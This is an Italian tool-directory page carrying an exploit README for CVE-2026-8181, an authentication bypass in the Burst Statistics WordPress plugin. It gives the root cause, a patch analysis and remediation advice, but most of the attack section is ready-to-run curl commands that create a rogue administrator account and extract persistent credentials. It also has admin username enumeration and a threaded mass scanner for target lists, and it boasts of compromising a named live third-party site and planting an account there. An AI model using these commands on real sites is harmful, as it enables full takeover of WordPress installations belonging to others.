Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Bypass dell'autenticazione non autenticato per il takeover dell'account amministratore | Prova di concetto | Kitploit
Strumenti/GitHubGitHub/zycoder0day/cve-2026-8181
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingAutenticazioneApprendimento e Formazione
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Bypass dell'autenticazione non autenticato per il takeover dell'account amministratore | Prova di concetto

Vedi Repository
573 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-8181 — Bypass dell'autenticazione di Burst Statistics con takeover dell'account amministratore


📋 Informazioni sulla vulnerabilità

CampoDettaglio
CVE IDCVE-2026-8181
PluginBurst Statistics – Privacy-Friendly WordPress Analytics
Versioni interessate3.4.0 – 3.4.1.1
Versione patchata3.4.2
Punteggio CVSS9.8 (Critical)
TipoCWE-287: Improper Authentication
Vettore di attaccoNetwork / Remote / Unauthenticated
Installazioni attive~200.000+
Scoperto daPRISM, Wordfence Threat Intelligence
Data di pubblicazione8 maggio 2026

🎯 Riepilogo

La vulnerabilità critica di Authentication Bypass nel plugin WordPress Burst Statistics, versioni 3.4.0 fino alla 3.4.1.1, consente a un attaccante senza autenticazione di ottenere accesso amministratore completo a WordPress semplicemente conoscendo lo username dell'admin. La conseguenza è il takeover completo dell'account amministratore, inclusa la creazione di nuovi account, la modifica dei contenuti e persino l'installazione di plugin dannosi.


🔬 Analisi tecnica

Causa principale

La vulnerabilità si trova nel metodo is_mainwp_authenticated() nel file includes/Frontend/class-mainwp-proxy.php:

root@kitploit:~
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

Bug principale: wp_authenticate_application_password(null, $username, $password) restituisce null (non WP_Error) quando le Application Password non sono disponibili, il che accade su:

  • Siti HTTP (non HTTPS) in cui wp_is_application_passwords_available() restituisce false
  • Siti in cui is_ssl() restituisce false

Poiché is_wp_error(null) è false, il codice prosegue con get_user_by('login', $username), che autentica solo in base allo username senza alcuna validazione della password.

Esecuzione anticipata (Early Execution)

Il metodo has_admin_access() viene richiamato in corrispondenza dell'hook plugins_loaded (priorità 9) in class-burst.php riga 118:

root@kitploit:~
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Questo hook viene eseguito PRIMA dell'elaborazione delle route della REST API, quindi wp_set_current_user() concede i privilegi admin per TUTTE le richieste — non solo per gli endpoint di Burst.

Flusso dell'attacco

root@kitploit:~
Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        Situs HTTP → wp_is_application_passwords_available() = false
                │
        Return null (BUKAN WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API memproses request dengan konteks admin]
                │
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

💻 Proof of Concept

Prerequisiti

  • Il target è servito in HTTP (non HTTPS, oppure SSL non rilevato correttamente)
  • Il plugin Burst Statistics versione 3.4.0 – 3.4.1.1 è installato e attivo
  • Conoscere lo username dell'admin (può essere enumerato)

Installazione

root@kitploit:~
pip3 install requests

Utilizzo — Target singolo

root@kitploit:~
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Utilizzo — Multi-target (Mass Scanner)

root@kitploit:~
python3 poc_CVE-2026-8181.py

Modalità interattiva:

  1. Inserisci il file della lista dei target (.txt, un dominio per riga)
  2. Imposta il numero di thread (default: 50)
  3. Imposta le credenziali del nuovo account
  4. Avvia la scansione

Formato di targets.txt:

root@kitploit:~
target1.com
target2.com
192.168.1.100
subdomain.example.org

PoC minimale (curl)

root@kitploit:~
# Step 1: Verifikasi auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Buat akun administrator baru
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Enumerazione dello username admin

root@kitploit:~
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ Validazione dei risultati

I test sono stati eseguiti su WordPress 6.9 con Burst Statistics 3.4.1.1 (localhost):

Validazione su target live

TargetRisultato
ausdermitte-binz.dePWNED CON SUCCESSO — Burst 3.4.1.1, bypass tramite binzwpadmin, account xenon1337 creato (ID:30)

🔧 Analisi della patch (v3.4.2)

La correzione nella versione 3.4.2 risolve diversi problemi:

  1. Controllo corretto del tipo di ritorno:
root@kitploit:~
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Cek WP_User, bukan !WP_Error
    return false;
}
  1. Imposizione della disponibilità delle Application Password:
root@kitploit:~
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. Requisito del nonce CSRF per le richieste autenticate tramite cookie
  2. Protezione dal replay del nonce con applicazione dell'uso singolo tramite add_option()
  3. Rimozione del formato di firma legacy che non vincolava lo username

🛡️ Rimedio

Azioni immediate

  1. Aggiorna Burst Statistics alla versione 3.4.2 o successiva
  2. Controlla gli account utente — verifica la presenza di account amministratore sconosciuti
  3. Revoca tutte le Application Password (wp_application_passwords user meta)
  4. Controlla l'email admin di WordPress e le altre impostazioni
  5. Verifica la presenza di plugin/theme sconosciuti

Rilevamento degli indicatori di compromissione

  • Cerca nei log di accesso richieste con header X-BURSTMAINWP: 1 provenienti da IP esterni
  • Monitora la tabella wp_users per nuovi account amministratore
  • Controlla in wp_options i transient burst_mainwp_app_token_*
  • Controlla le Application Password nel profilo utente

📁 File disponibili

FileDescrizione
exploit_CVE-2026-8181.pyExploit PoC per target singolo
poc_CVE-2026-8181.pyMass scanner multi-target con threading
README.mdQuesta documentazione

⚠️ Disclaimer

Questo tool e la relativa documentazione sono destinati esclusivamente a test di sicurezza legittimi con autorizzazione esplicita. L'utilizzo senza autorizzazione su sistemi che non sono di vostra proprietà, o senza permesso scritto, è illegale. Gli autori non sono responsabili di eventuali usi impropri.


📚 Riferimenti

  • Advisory Wordfence
  • Codice sorgente vulnerabile
  • Repository del plugin WordPress
  • Analisi WP-Safety

Scarica lo strumento
TestRisultatoEvidenza
Accesso a /wp/v2/users/me senza authFALLITOrest_not_logged_in
Accesso con header di bypassRIUSCITOProfilo admin + email + ruoli
Creazione di un nuovo account amministratoreRIUSCITOUser ID 2, ruolo: administrator
Lettura delle impostazioni di WordPressRIUSCITOSite title, email admin, URL
Ottenimento dell'Application PasswordRIUSCITOToken Base64 admin:password
Elenco dei plugin installatiRIUSCITOElenco completo con versioni